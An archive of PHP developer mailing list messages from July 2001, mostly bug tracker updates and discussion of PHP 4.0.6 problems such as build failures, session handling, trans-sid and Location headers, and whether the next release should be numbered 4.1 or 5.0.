To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11877 Updated: Apache cannot load phplib4.so

2001-07-04 Thread rasmus


ID: 11877
Updated by: rasmus
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Closed
Bug Type: Apache related
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

You need to use --with-kerberos because the version of the imap libs you are trying to 
link against have been linked against kerberos.

Previous Comments:
---

[2001-07-04 08:48:50] [EMAIL PROTECTED]

I've compiled php4 with:
--with-apxs
--with-mysql
--disable-magic-quotes
--enable-short-tags
--with-imap
And Apache said that it cannot load phplib4.so module, because of undefined symbol: 
gss_mech_krb5.

Also I tried to add
--without-kerberos
--without-imap-ssl
But file size was the same and Apache said the same error.

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11877&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] trans-sid and Location: Header

2001-07-04 Thread Alexander Wagner


Björn Schotte wrote:
> I had a talk with somebody whom I said that
> --enable-trans-sid would save time in his project.
> He implemented it but dropped me a note that he
> had to manually rewrite Header("Location:
> http://$HTTP_HOST/foobar.php";); URIs with the SID. So would it be
> able to implement
> trans-sid for the Location: HTTP Header?

Trans-sid doesn't work with complete URL beginning with "http://";, does 
it? Aren't these regarded as external links?

BTW: I don't find it that difficult to rewrite the Headers manually. 
You don't have that many of them, usually.

regards
Wagner

-- 
Madness takes its toll. Please have exact change.

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11878: DATE /TIME constants

2001-07-04 Thread hparissi


From: [EMAIL PROTECTED]
Operating system: any
PHP version:  4.0.6
PHP Bug Type: Feature/Change Request
Bug description:  __DATE__ /__TIME__ constants

Could it be possible to add __DATE__ and __TIME__ 
constants ?
They could containt the last modified date/time of the 
calling script.

Thank you for your great job!



-- 
Edit Bug report at: http://bugs.php.net/?id=11878&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11877 Updated: Apache cannot load phplib4.so

2001-07-04 Thread dmmedia


ID: 11877
User Update by: [EMAIL PROTECTED]
Old-Status: Closed
Status: Open
Bug Type: Apache related
Operating system: Redhat linux 6.2
PHP Version: 4.0.6
Description: Apache cannot load phplib4.so

I tried to compile with --with-kerberos=path/to/kerberos but nothing has changed. Also 
phplib4.so size was the same.

Previous Comments:
---

[2001-07-04 09:09:15] [EMAIL PROTECTED]

You need to use --with-kerberos because the version of the imap libs you are trying to 
link against have been linked against kerberos.

---

[2001-07-04 08:48:50] [EMAIL PROTECTED]

I've compiled php4 with:
--with-apxs
--with-mysql
--disable-magic-quotes
--enable-short-tags
--with-imap
And Apache said that it cannot load phplib4.so module, because of undefined symbol: 
gss_mech_krb5.

Also I tried to add
--without-kerberos
--without-imap-ssl
But file size was the same and Apache said the same error.

---


Full Bug description available at: http://bugs.php.net/?id=11877


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] trans-sid and Location: Header

2001-07-04 Thread Björn Schotte


* Alexander Wagner wrote:
> Trans-sid doesn't work with complete URL beginning with "http://";, does 
> it? Aren't these regarded as external links?

http://$HTTP_HOST/foo isn't a "relative" link because
it's a "link" on the same web site.
 
> BTW: I don't find it that difficult to rewrite the Headers manually. 

That's true, but in my eyes it would be more consistent.

-- 
PHP Schulungen und| International PHP Conference
Schulungsmaterial:| 05. - 07.11.2001
http://thinkphp.de/   |  Astron Hotel, Frankfurt
http://rent-a-phpwizard.de/schulungen.php |  http://www.php-kongress.de/

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #8772 Updated: user level session storage fails when register_globals off

2001-07-04 Thread serge


ID: 8772
User Update by: [EMAIL PROTECTED]
Old-Status: Closed
Status: Open
Bug Type: *Session related
Operating system: RH Linux 7.0
PHP Version: 4.0.6
Description: user level session storage fails when register_globals off

Hi,

Just installed PHP 4.0.6 and tested things again to my dispair this problem is 
still not fixed. I don't understand why this is not happening to tons of PHP 
developers?
Are they all using register_globals on ?

Thanks, Serge

Previous Comments:
---

[2001-05-22 21:06:03] [EMAIL PROTECTED]

THis should be fixed in Latest CVS. Please reopen if that is not the case.

- James

---

[2001-05-16 03:56:19] [EMAIL PROTECTED]

Hi Guys,

Well I installed PHP 4.0.5 hoping it would fix my problem with sessions and it still 
does not work!

Any help from someone knowledgable on this issue would be nice since I reported this 
bug over 3 months ago.

Thanks, Serge

---

[2001-03-04 07:09:10] [EMAIL PROTECTED]

I would like to know if there is any news with regards to this bug? The workaround 
involves using "register_globals on" and I really don't like this aproach.

Thanks, Serge


---

[2001-02-22 18:39:01] [EMAIL PROTECTED]

Steve Chadsey has reported that he has the same bug as me:
His message follow.

For the record, I am having the *exact* problem you describe.  It's on a RedHat 6.2 
system, kernel 2.4.1, PostgreSQL 7.0.3, Apache/1.3.17 (Unix) mod_perl/1.25 
PHP/4.0.4pl1.  With register_globals off, the session
write function is never getting called.  With register_globals on, it works fine.

Do you think I should add a new bug report?  Can I add a "me too" to
your bug report?

Thanks,
-- 
Steve Chadsey <[EMAIL PROTECTED]>


---

[2001-02-03 07:14:11] [EMAIL PROTECTED]

Looks like someone else is having the same problem.

See bug number 9002

Serge


---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.

Full Bug description available at: http://bugs.php.net/?id=8772


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #8772 Updated: user level session storage fails when register_globals off


ID: 8772
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Closed
Bug Type: *Session related
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

James said it was fixed in the CVS version. It might that it was not fixed in the 
4.0.6 branch.
Please check out the CVs version and reopen if it is still not fixed.

Derick

Previous Comments:
---

[2001-07-04 09:58:39] [EMAIL PROTECTED]

Hi,

Just installed PHP 4.0.6 and tested things again to my dispair this problem is 
still not fixed. I don't understand why this is not happening to tons of PHP 
developers?
Are they all using register_globals on ?

Thanks, Serge

---

[2001-05-22 21:06:03] [EMAIL PROTECTED]

THis should be fixed in Latest CVS. Please reopen if that is not the case.

- James

---

[2001-05-16 03:56:19] [EMAIL PROTECTED]

Hi Guys,

Well I installed PHP 4.0.5 hoping it would fix my problem with sessions and it still 
does not work!

Any help from someone knowledgable on this issue would be nice since I reported this 
bug over 3 months ago.

Thanks, Serge

---

[2001-03-04 07:09:10] [EMAIL PROTECTED]

I would like to know if there is any news with regards to this bug? The workaround 
involves using "register_globals on" and I really don't like this aproach.

Thanks, Serge


---

[2001-02-22 18:39:01] [EMAIL PROTECTED]

Steve Chadsey has reported that he has the same bug as me:
His message follow.

For the record, I am having the *exact* problem you describe.  It's on a RedHat 6.2 
system, kernel 2.4.1, PostgreSQL 7.0.3, Apache/1.3.17 (Unix) mod_perl/1.25 
PHP/4.0.4pl1.  With register_globals off, the session
write function is never getting called.  With register_globals on, it works fine.

Do you think I should add a new bug report?  Can I add a "me too" to
your bug report?

Thanks,
-- 
Steve Chadsey <[EMAIL PROTECTED]>


---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.


ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=8772&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #8772 Updated: user level session storage fails when register_globals off

2001-07-04 Thread serge


ID: 8772
User Update by: [EMAIL PROTECTED]
Status: Closed
Bug Type: *Session related
Operating system: RH Linux 7.0
PHP Version: 4.0.6
Description: user level session storage fails when register_globals off

This was over 1 month ago, I would find it very strange that it would not have made 
its way into the 4.0.6 branch condsidering that 4.0.6 is was meant to be a bug fix 
release.

Serge

Previous Comments:
---

[2001-07-04 10:00:53] [EMAIL PROTECTED]

James said it was fixed in the CVS version. It might that it was not fixed in the 
4.0.6 branch.
Please check out the CVs version and reopen if it is still not fixed.

Derick

---

[2001-07-04 09:58:39] [EMAIL PROTECTED]

Hi,

Just installed PHP 4.0.6 and tested things again to my dispair this problem is 
still not fixed. I don't understand why this is not happening to tons of PHP 
developers?
Are they all using register_globals on ?

Thanks, Serge

---

[2001-05-22 21:06:03] [EMAIL PROTECTED]

THis should be fixed in Latest CVS. Please reopen if that is not the case.

- James

---

[2001-05-16 03:56:19] [EMAIL PROTECTED]

Hi Guys,

Well I installed PHP 4.0.5 hoping it would fix my problem with sessions and it still 
does not work!

Any help from someone knowledgable on this issue would be nice since I reported this 
bug over 3 months ago.

Thanks, Serge

---

[2001-03-04 07:09:10] [EMAIL PROTECTED]

I would like to know if there is any news with regards to this bug? The workaround 
involves using "register_globals on" and I really don't like this aproach.

Thanks, Serge


---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.

Full Bug description available at: http://bugs.php.net/?id=8772


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] trans-sid and Location: Header

2001-07-04 Thread Björn Schotte


* Björn Schotte wrote:
> http://$HTTP_HOST/foo isn't a "relative" link because
  ^^

Erm, I mean "external".

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] trans-sid and Location: Header

2001-07-04 Thread Alexander Wagner

Björn Schotte wrote:
> * Björn Schotte wrote:
> > http://$HTTP_HOST/foo isn't a "relative" link because
>
>   ^^
> Erm, I mean "external".

Sure it isn't. but I fear trans-sid doesn't see it that way. AFAIK it 
distinguishes between relative and external links by the presence of 
the protocol-name (http:// or https://) in the url.

Correct me if I'm wrong.

This is far from perfect, of course, since _all_ urls, no matter where 
they point to, should be "complete" and contain the protocol-name.
Trans-sid's behaviour encourages (makes it necessary, even) to use 
incomplete urls.

But which other way is there?

regards
Wagner

-- 
Madness takes its toll. Please have exact change.

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] trans-sid and Location: Header

2001-07-04 Thread Sascha Schumann


On Wed, 4 Jul 2001, Björn Schotte wrote:

> * Alexander Wagner wrote:
> > Trans-sid doesn't work with complete URL beginning with "http://";, does
> > it? Aren't these regarded as external links?
>
> http://$HTTP_HOST/foo isn't a "relative" link because
> it's a "link" on the same web site.

If you supply the AI to figure out whether we should regard
an absolute URI as local and therefore append the SID to it,
I'm sure we can find a way to implement it.

- Sascha Experience IRCG
  http://schumann.cx/http://schumann.cx/ircg


--
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] trans-sid and Location: Header

On Wed, 4 Jul 2001, Björn Schotte wrote:

> * Björn Schotte wrote:
> > http://$HTTP_HOST/foo isn't a "relative" link because

It's still considered as an external link (even by your browser probably),
because there is a server and documentroot specified. It's clearly an
absolute link to me, but it can be on the same server of course.

Derick

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11879: error al ejecuta make

2001-07-04 Thread ggalindo


From: [EMAIL PROTECTED]
Operating system: NCR WM 4300 unix systema V MP-RAS 3.02
PHP version:  4.0.6
PHP Bug Type: Compile Failure
Bug description:  error al ejecuta make

1.-
$./configure --with-informix=yes --with-apache=/admvos/apache/apache_1.3.19 
--enable-sysvsem 
--enable-sysvshm --without-mysql --enable-track-vars   
# ok no error
2.-
$make# last's lines
cc  -I. -I/admvos/sistgczo/php-4.0.6/ext/posix 
-I/admvos/sistgczo/php-4.0.6/main 
-I/admvos/sistgczo/php-4.0.6/admvos/apache/apache_1.3.19/src/include 
-I/admvos/apache/apache_1.3.19/src/os/unix 
-I/admvos/sistgczo/php-4.0.6/Zend/usr/informix/incl/esql 
-I/admvos/sistgczo/php-4.0.6/ext/xml/expat/xmltok 
-I/admvos/sistgczo/php-4.0.6/ext/xml/expat/xparse -I/admvos/sistgczo/php-4.0.6/TSRM  
-DSUPPORT_UTF8 -DXML_BYTE_ORDER=12   -c posix.c && touch posix.lo
NCR High Performance C Compiler R3.0c
(c) Copyright 1994-97, NCR Corporation
(c) Copyright 1987-97, MetaWare Incorporated
w "/admvos/sistgczo/php-4.0.6/Zend/zend_execute.h",L185/C5(#257):   '=' 
encountered where '==' may have been intend.
w "/admvos/sistgczo/php-4.0.6/Zend/zend_execute.h",L198/C4(#257):   '=' 
encountered where '==' may have been intend.
w "/admvos/sistgczo/php-4.0.6/ext/standard/php_string.h",L125/C5(#257): '=' 
encountered where '==' may have been intend.
E "posix.c",L357/C17(#237): NGROUPS_MAX: Identifier is undeclared.
E "posix.c",L357/C9(#445):  gidlist
|Type of variable is an array of zero length.
E "posix.c",L361/C21(#237): NGROUPS_MAX: Identifier is undeclared.
w (#657):   (info) How referenced files were included:
|File /admvos/sistgczo/php-4.0.6/Zend/zend_execute.h from 
|/admvos/sistgczo/php-4.0.6/Zend/zend_API.h from /admvos/stgczo/php-4.0.6/main/php.h 
|from posix.c.
|File /admvos/sistgczo/php-4.0.6/ext/standard/php_string.h from posix.c.
3 user errors   4 warnings
*** Error code 3 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
$
TAHNKS



-- 
Edit Bug report at: http://bugs.php.net/?id=11879&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11880: CGI Error parsing file upon file upload

2001-07-04 Thread hubert . lindner


From: [EMAIL PROTECTED]
Operating system: WINNT 4.0
PHP version:  4.0.6
PHP Bug Type: IIS related
Bug description:  CGI Error parsing file upon file upload

upon call of .php-file IIS returns:

"CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP 
headers. The headers it did return are:"

PHP is installed in C:\Php
php.ini file is placed in C:\WINNT
extension_dir = C:\php\extensions
related directory can access file with C:\Php\php.exe %s %s (=configuration on IIS)

what's going on - I hope you can help me!



-- 
Edit Bug report at: http://bugs.php.net/?id=11880&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11880 Updated: CGI Error parsing file upon file upload

2001-07-04 Thread phildriscoll


ID: 11880
Updated by: phildriscoll
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Bogus
Bug Type: IIS related
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

This is not a bug in PHP - just a misconfiguration of your 
system. The php script you are trying to access may not 
exist, or perhaps cannot be accessed for permission 
reasons.

The install.txt file which comes with the php 4.0.6 
Windows binary distributions gives you some clues.

If you still have trouble, post a query to the php windows 
or install lists.


Previous Comments:
---

[2001-07-04 11:01:33] [EMAIL PROTECTED]

upon call of .php-file IIS returns:

"CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP 
headers. The headers it did return are:"

PHP is installed in C:Php
php.ini file is placed in C:WINNT
extension_dir = C:phpextensions
related directory can access file with C:Phpphp.exe %s %s (=configuration on IIS)

what's going on - I hope you can help me!


---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11880&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11881: undefined function: getservbyname()

2001-07-04 Thread v . e . jansen


From: [EMAIL PROTECTED]
Operating system: windows 2000 professional
PHP version:  4.0.6
PHP Bug Type: Network related
Bug description:  undefined function: getservbyname() 

Running:


results in:

Fatal error: Call to undefined function: getservbyname()  in e:\webserver\file.php on 
line 106


I just migrated back to 4.0.5 from 4.0.6 and now it works again. I'm running windows 
2000 professional and Apache 1.3.20.



-- 
Edit Bug report at: http://bugs.php.net/?id=11881&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] php 4.1 or php 5.0

2001-07-04 Thread Brian Moon


FWIW, I am +1 on PHP5.  There are a lot of things in the language that need
to be cleaned up.  People here more familiar with other closed languages
have gotten confused about things like case, underscores, haystack and
needle, the way some array functions return an array and some modify the
passed array.  There is just a lot of stuff like that.

Brian Moon
--
dealnews.com, Inc.
Makers of dealnews, dealmac
http://dealnews.com/ | http://dealmac.com/


- Original Message -
From: "Phil Driscoll" <[EMAIL PROTECTED]>
To: "php developers" <[EMAIL PROTECTED]>
Sent: Wednesday, July 04, 2001 6:21 AM
Subject: [PHP-DEV] php 4.1 or php 5.0


> When I posted the other day about tidying up the language, I was hoping to
> get some kind of feel as to whether the new Zend engine would cause us to
> move to PHP 4.1 or to 5.0, since a move to 4.1 would allow us less
> opportunity to have a clean up than 5.0. (But moving to 4.1 would give us
> more time to think things through and get things done)
>
> Does anyone have a view?
> --
> Phil Driscoll
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]
>
>
>


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] php 4.1 or php 5.0

2001-07-04 Thread Phil Driscoll

On Wednesday 04 July 2001 17:12, Brian Moon wrote:
> FWIW, I am +1 on PHP5.  There are a lot of things in the language that need
> to be cleaned up.  People here more familiar with other closed languages
> have gotten confused about things like case, underscores, haystack and
> needle, the way some array functions return an array and some modify the
> passed array.  There is just a lot of stuff like that.

I'm all for making the radical changes at 5.0, its just that it seems like 
Zeev is keen on a shortish timeframe for the new engine, whereas I suspect 
that tidying up the language will take quite a bit longer.

FWIW my vote is for us to make a concerted start on tidying the language with 
a realistic time frame of  1 year. If the new Zend engine is going to 
be ready much sooner than that, and it will only affect OO stuff and the 
business of accessing individual characters in strings, then that change 
should be to 4.1. If the engine is going to take a year, then we'll have a 
big pile of stuff to launch as 5.0

Cheers
-- 
Phil Driscoll

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11876 Updated: gmdate() and date() wont generate a date greater than January 19, 2039


ID: 11876
Updated by: sniper
Reported By: [EMAIL PROTECTED]
Old-Status: Closed
Status: Bogus
Bug Type: Date/time related
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:



Previous Comments:
---

[2001-07-04 08:38:50] [EMAIL PROTECTED]

gmdate() and date() wont generate a date greater than January 19, 2039 @ 3:14:07 AM. 
if you write gmdate("F j, Y @ g:i A", 2147483647) it gives you "January 19, 2039 @ 
3:14:07 AM", but if you add one second to it and do gmdate("F j, Y @ g:i A", 
2147483648) it gives you an error.

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11876&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11877 Updated: Apache cannot load phplib4.so


ID: 11877
Updated by: sniper
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Closed
Old-Bug Type: Apache related
Bug Type: Compile Failure
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

'rm config.cache ; ./configure http://bugs.php.net/?id=11877&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11882: uploaded files corrupt

2001-07-04 Thread tryk


From: [EMAIL PROTECTED]
Operating system: FreeBSD 4.1.1
PHP version:  4.0.6
PHP Bug Type: HTTP related
Bug description:  uploaded files corrupt

So I have two pages:

3.phtml:
= cut here 





= cut here 

and 2.phtml:
= cut here 

>

= cut here 

And the file sent by 2.phtml is not the same like I upload in 3.phtml - if  the file 
is binary.
It is already not the same in /somewhere/tmp/

I use Russian Apache 1.3.14PL3.



-- 
Edit Bug report at: http://bugs.php.net/?id=11882&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #10324 Updated: reproducable seg fault during generic script exec with pgsql and mcrypt

2001-07-04 Thread kpw


ID: 10324
User Update by: [EMAIL PROTECTED]
Status: Assigned
Bug Type: Reproducible crash
Operating system: Linux PPC (yellow dog 1.2) and R
PHP Version: 4.0.6
Description: reproducable seg fault during generic script exec with pgsql and mcrypt

Sorry,

I was wrong about the exact string that causes the problem I mentioned yesterday... I 
remembered that I'm actually URL encoding the data prior to encrypting it so the 
string is really "Reed%2C+Phyllis". The key is still 
"70094cc48e1a23bf6fec60c2db6e4b71"...

Take care,
kpw

Previous Comments:
---

[2001-07-04 04:15:23] [EMAIL PROTECTED]

Assigning to myself

---

[2001-07-03 22:51:56] [EMAIL PROTECTED]

Here's the link to a script that exhibits this problem 100% of the time on my 
PPC/YellowDog server as well as a production machine at phpwebhosting.com:

http://www.jump9.com/_testcrypt.txt 


I've tried this under several version of php (including the current 4.0.6) as well as 
with every available release of libmcrypt (2.4.7-2.4.15) all without effect.  Given 
that I have the same problem on a production webserver at phpwebhosting as I do on my 
own homemade PPC linux box I'm guessing this is real problem...

Any thoughts would be greatly appreciated...


kpw 




---

[2001-07-03 11:28:04] [EMAIL PROTECTED]

Here's an example:

If encrypt the string "Reed, Phyllis" with the key "70094cc48e1a23bf6fec60c2db6e4b71" 
using blowfish in CBC mode mycrypt will seg fault.  However, if I change the string to 
"Reed,Phyllis" (no space) everything's fine.  Removing a chacter from the end (""Reed, 
Phylli") doesn't fix the problem though, so it's apparently not length related.

Very strange indeed...
kpw 

---

[2001-07-03 10:48:42] [EMAIL PROTECTED]

Hi,

This still seems to be a problem in 4.0.6.  I'm pretty sure that it is caused by 
specific strings being passed into mycrypt, however, I'm not sure what string 
characteristics cause the problem.  

kpw

---

[2001-05-27 19:27:02] [EMAIL PROTECTED]

Should be fixed in CVS now. Fix will be in PHP 4.0.6.
If this happens with it too, reopen this bug report.

--Jani


---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.

Full Bug description available at: http://bugs.php.net/?id=10324


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Bug #11881: undefined function: getservbyname()


Hello List,

can the person who build the PHP for windows shed some light on this (and
on the problems with the bundle libPDF (beta expired) ?

Derick

-
PHP: Scripting the Web - www.php.net - [EMAIL PROTECTED]
 SRM: Site Resource Manager - www.vl-srm.net
-


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11879 Updated: error al ejecuta make


ID: 11879
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Compile Failure
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

It seems that PHP/autoconf/automake is not very compatible with the NCR system.
Can you add your main/php_config.h, config.log, config.debug into this bugreport, or 
place them on some URL?

Derick

Previous Comments:
---

[2001-07-04 10:45:11] [EMAIL PROTECTED]

1.-
$./configure --with-informix=yes --with-apache=/admvos/apache/apache_1.3.19 
--enable-sysvsem 
--enable-sysvshm --without-mysql --enable-track-vars   
# ok no error
2.-
$make# last's lines
cc  -I. -I/admvos/sistgczo/php-4.0.6/ext/posix 
-I/admvos/sistgczo/php-4.0.6/main 
-I/admvos/sistgczo/php-4.0.6/admvos/apache/apache_1.3.19/src/include 
-I/admvos/apache/apache_1.3.19/src/os/unix 
-I/admvos/sistgczo/php-4.0.6/Zend/usr/informix/incl/esql 
-I/admvos/sistgczo/php-4.0.6/ext/xml/expat/xmltok 
-I/admvos/sistgczo/php-4.0.6/ext/xml/expat/xparse -I/admvos/sistgczo/php-4.0.6/TSRM  
-DSUPPORT_UTF8 -DXML_BYTE_ORDER=12   -c posix.c && touch posix.lo
NCR High Performance C Compiler R3.0c
(c) Copyright 1994-97, NCR Corporation
(c) Copyright 1987-97, MetaWare Incorporated
w "/admvos/sistgczo/php-4.0.6/Zend/zend_execute.h",L185/C5(#257):   '=' 
encountered where '==' may have been intend.
w "/admvos/sistgczo/php-4.0.6/Zend/zend_execute.h",L198/C4(#257):   '=' 
encountered where '==' may have been intend.
w "/admvos/sistgczo/php-4.0.6/ext/standard/php_string.h",L125/C5(#257): '=' 
encountered where '==' may have been intend.
E "posix.c",L357/C17(#237): NGROUPS_MAX: Identifier is undeclared.
E "posix.c",L357/C9(#445):  gidlist
|Type of variable is an array of zero length.
E "posix.c",L361/C21(#237): NGROUPS_MAX: Identifier is undeclared.
w (#657):   (info) How referenced files were included:
|File /admvos/sistgczo/php-4.0.6/Zend/zend_execute.h from 
|/admvos/sistgczo/php-4.0.6/Zend/zend_API.h from /admvos/stgczo/php-4.0.6/main/php.h 
|from posix.c.
|File /admvos/sistgczo/php-4.0.6/ext/standard/php_string.h from posix.c.
3 user errors   4 warnings
*** Error code 3 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
$
TAHNKS


---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11879&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11874 Updated: recognizing the 'content="text/php"' into '


ID: 11874
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Scripting Engine problem
Operating system: 
PHP Version: 4.0.5
Assigned To: 
Comments:

I don't get what you are meaning here. Can you add an example of a whole line of both 
cases (one with the error, and one that works)?

Derick

Previous Comments:
---

[2001-07-04 07:31:00] [EMAIL PROTECTED]

The attribute 'content' inside 'http://bugs.php.net/?id=11874&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Re: Bug #11839 Updated: hack? following is a discussionof the hack...... Is PHP the problem?????????


On Mon, 2 Jul 2001, Mark Lidd wrote:

> At 04:39 PM 7/2/01 +, you wrote:
> >ID: 11839
> >Updated by: derick
> >Reported By: [EMAIL PROTECTED]
> >Old-Status: Open
> >Status: Feedback
> >Bug Type: Unknown/Other Function
> >Operating system:
> >PHP Version: 4.0.6
> >Assigned To:
> >Comments:
> >
> >Can you please summarize this?
> >
> >
> >
> >Derick
>
>
> I believe that some code in the PHP module looks for an HTML tag that has
> the string "/ad/" in it, removes the "<"  and places the html comment
> <--!  --> around the html tag.  This happens only if the html is going to a
> client on a system other than on the server.   This results in the banner
> ad not being displayed.  I noticed this in the latest 4.0.6 tarball.  I got
> around the issue by using the string "/add/"  in my html tag.  The string
> "/ad/" is part of the eZPublish banner ad.
>
> I know it sounds weird, but that's it in a nutshell.

I can't believe PHP is causing this, as there is no occurence of /ad/ in
the PHP source, and PHP never add's <--! or something. Also, there
can't be any difference between html outputted by PHP on different
systems, as PHP is serverside. Can you make a single PHP page which
reproduces this problem, so that we can try it?

Derick

-
PHP: Scripting the Web - www.php.net - [EMAIL PROTECTED]
 SRM: Site Resource Manager - www.vl-srm.net
-


-- 
PHP Development Mailing List 
